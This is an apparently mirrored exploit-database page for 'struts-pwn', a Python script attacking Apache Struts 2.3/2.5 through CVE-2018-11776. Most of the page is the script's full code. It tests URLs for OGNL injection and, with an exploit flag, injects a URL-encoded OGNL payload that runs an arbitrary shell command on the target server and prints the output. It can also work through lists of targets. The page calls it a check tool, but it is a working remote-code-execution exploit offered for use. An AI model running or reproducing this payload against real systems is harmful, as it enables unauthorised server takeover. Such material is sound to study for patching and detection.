Lucene search
K

Apache Struts 2.3 / 2.5 Remote Code Execution

🗓️ 26 Aug 2018 00:00:00Reported by Mazin AhmedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 153 Views

Apache Struts 2.3 / 2.5 Remote Code Execution check tool in Python. Parses URLs, builds injection inputs for the check and performs a CVE-2018-11776 vulnerability check

Related
Code
ReporterTitlePublishedViews
Family
Gitee
Exploit for CVE-2018-11776
18 Jun 202018:07
gitee
Gitee
Exploit for CVE-2018-11776
2 Jan 202017:01
gitee
Gitee
Exploit for OS Command Injection in Gnu Bash
27 Jul 202504:21
gitee
GithubExploit
Exploit for CVE-2018-11776
23 Aug 201820:06
githubexploit
GithubExploit
Exploit for CVE-2018-11776
24 Aug 201803:01
githubexploit
GithubExploit
Exploit for CVE-2018-11776
28 Aug 201823:48
githubexploit
GithubExploit
Exploit for CVE-2018-11776
25 Aug 201812:45
githubexploit
GithubExploit
Exploit for Expression Language Injection in Atlassian Confluence_Data_Center
6 Oct 202123:24
githubexploit
GithubExploit
Exploit for CVE-2018-11776
24 Aug 201803:01
githubexploit
GithubExploit
Exploit for CVE-2018-11776
24 Aug 201803:01
githubexploit
Rows per page
`#!/usr/bin/env python3  
# coding=utf-8  
# *****************************************************  
# struts-pwn: Apache Struts CVE-2018-11776 Exploit  
# Author:  
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>  
# This code uses a payload from:  
# https://github.com/jas502n/St2-057  
# *****************************************************  
  
import argparse  
import random  
import requests  
import sys  
try:  
from urllib import parse as urlparse  
except ImportError:  
import urlparse  
  
# Disable SSL warnings  
try:  
import requests.packages.urllib3  
requests.packages.urllib3.disable_warnings()  
except Exception:  
pass  
  
if len(sys.argv) <= 1:  
print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')  
print('[*] Struts-PWN - @mazen160')  
print('\n%s -h for help.' % (sys.argv[0]))  
exit(0)  
  
  
parser = argparse.ArgumentParser()  
parser.add_argument("-u", "--url",  
dest="url",  
help="Check a single URL.",  
action='store')  
parser.add_argument("-l", "--list",  
dest="usedlist",  
help="Check a list of URLs.",  
action='store')  
parser.add_argument("-c", "--cmd",  
dest="cmd",  
help="Command to execute. (Default: 'id')",  
action='store',  
default='id')  
parser.add_argument("--exploit",  
dest="do_exploit",  
help="Exploit.",  
action='store_true')  
  
  
args = parser.parse_args()  
url = args.url if args.url else None  
usedlist = args.usedlist if args.usedlist else None  
cmd = args.cmd if args.cmd else None  
do_exploit = args.do_exploit if args.do_exploit else None  
  
headers = {  
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',  
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',  
'Accept': '*/*'  
}  
timeout = 3  
  
  
def parse_url(url):  
"""  
Parses the URL.  
"""  
  
# url: http://example.com/demo/struts2-showcase/index.action  
  
url = url.replace('#', '%23')  
url = url.replace(' ', '%20')  
  
if ('://' not in url):  
url = str("http://") + str(url)  
scheme = urlparse.urlparse(url).scheme  
  
# Site: http://example.com  
site = scheme + '://' + urlparse.urlparse(url).netloc  
  
# FilePath: /demo/struts2-showcase/index.action  
file_path = urlparse.urlparse(url).path  
if (file_path == ''):  
file_path = '/'  
  
# Filename: index.action  
try:  
filename = url.split('/')[-1]  
except IndexError:  
filename = ''  
  
# File Dir: /demo/struts2-showcase/  
file_dir = file_path.rstrip(filename)  
if (file_dir == ''):  
file_dir = '/'  
  
return({"site": site,  
"file_dir": file_dir,  
"filename": filename})  
  
  
def build_injection_inputs(url):  
"""  
Builds injection inputs for the check.  
"""  
  
parsed_url = parse_url(url)  
injection_inputs = []  
url_directories = parsed_url["file_dir"].split("/")  
  
try:  
url_directories.remove("")  
except ValueError:  
pass  
  
for i in range(len(url_directories)):  
injection_entry = "/".join(url_directories[:i])  
  
if not injection_entry.startswith("/"):  
injection_entry = "/%s" % (injection_entry)  
  
if not injection_entry.endswith("/"):  
injection_entry = "%s/" % (injection_entry)  
  
injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload.  
injection_entry += parsed_url["filename"]  
  
injection_inputs.append(injection_entry)  
  
return(injection_inputs)  
  
  
def check(url):  
random_value = int(''.join(random.choice('0123456789') for i in range(2)))  
multiplication_value = random_value * random_value  
injection_points = build_injection_inputs(url)  
parsed_url = parse_url(url)  
print("[%] Checking for CVE-2018-11776")  
print("[*] URL: %s" % (url))  
print("[*] Total of Attempts: (%s)" % (len(injection_points)))  
attempts_counter = 0  
  
for injection_point in injection_points:  
attempts_counter += 1  
print("[%s/%s]" % (attempts_counter, len(injection_points)))  
testing_url = "%s%s" % (parsed_url["site"], injection_point)  
testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))  
try:  
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)  
except Exception as e:  
print("EXCEPTION::::--> " + str(e))  
continue  
if "Location" in resp.headers.keys():  
if str(multiplication_value) in resp.headers['Location']:  
print("[*] Status: Vulnerable!")  
return(injection_point)  
print("[*] Status: Not Affected.")  
return(None)  
  
  
def exploit(url, cmd):  
parsed_url = parse_url(url)  
  
injection_point = check(url)  
if injection_point is None:  
print("[%] Target is not vulnerable.")  
return(0)  
print("[%] Exploiting...")  
  
payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)  
  
testing_url = "%s%s" % (parsed_url["site"], injection_point)  
testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)  
  
try:  
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)  
except Exception as e:  
print("EXCEPTION::::--> " + str(e))  
return(1)  
  
print("[%] Response:")  
print(resp.text)  
return(0)  
  
  
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):  
if url:  
if not do_exploit:  
check(url)  
else:  
exploit(url, cmd)  
  
if usedlist:  
URLs_List = []  
try:  
f_file = open(str(usedlist), "r")  
URLs_List = f_file.read().replace("\r", "").split("\n")  
try:  
URLs_List.remove("")  
except ValueError:  
pass  
f_file.close()  
except Exception as e:  
print("Error: There was an error in reading list file.")  
print("Exception: " + str(e))  
exit(1)  
for url in URLs_List:  
if not do_exploit:  
check(url)  
else:  
exploit(url, cmd)  
  
print("[%] Done.")  
  
  
if __name__ == "__main__":  
try:  
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)  
except KeyboardInterrupt:  
print("\nKeyboardInterrupt Detected.")  
print("Exiting...")  
exit(0)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation